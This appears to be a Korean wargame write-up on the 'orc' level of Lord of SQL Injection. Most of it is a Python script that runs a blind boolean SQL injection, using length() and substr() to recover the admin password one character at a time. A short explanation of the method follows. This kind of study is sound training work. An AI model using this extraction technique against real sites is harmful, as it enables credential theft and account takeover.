Web Hacking/LOS

Lord of SQL Injection(LOS) - orc

Lucvs 2021. 8. 6. 23:50

휴가 나가고 싶다

보고싶어 미치겠다


import requests

requests.packages.urllib3.disable_warnings()
org_url     = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
header  = {'Cookie': 'PHPSESSID='}
session = requests.session()



# Check Length of PW
for i in range(0, 100):
    payload = "pw=ABCD' or id='admin' and length(pw)=" + "'" + str(i)
    res = session.get(url = org_url + payload, headers=header, verify=False)

    if "Hello admin" in res.text:
        print("Length of PW is [ %d ]\n" % i)
        break

        
# Brute Force
password = ''

for i in range(1, 9):
    for j in range(33, 122):
        payload = "?pw=ABCD' or id='admin' and substr(pw," + str(i) + ", 1)=" + "'" + chr(j)
        res = session.get(url = org_url + payload, headers = header, verify=False)

        if "Hello admin" in res.text:
            password += chr(j)
            print("Current PW is [ %s ]\n" % password)
            break
            

# Result
print("\n\nPW --> %s\n" % password)

 

requests 모듈을 사용하였다.

 

MySQL 언어에서의 length() 함수와 substr() 함수를 이용하여 admin 계정의 비밀번호 길이를 먼저 유추한 후에 Brute Force 공격으로 비밀번호를 얻어냈다.

 

or 연산은 한 쪽만 참값이 되어도 결과값이 참이라는 것을 잊지 아니하고 있으면 된다.

 

또한 전체 query 문이 참일 경우에 'Hello admin'이라는 문자열을 출력한다는 점을 이용하여 힌트를 제공받는다고 생각하면 된다.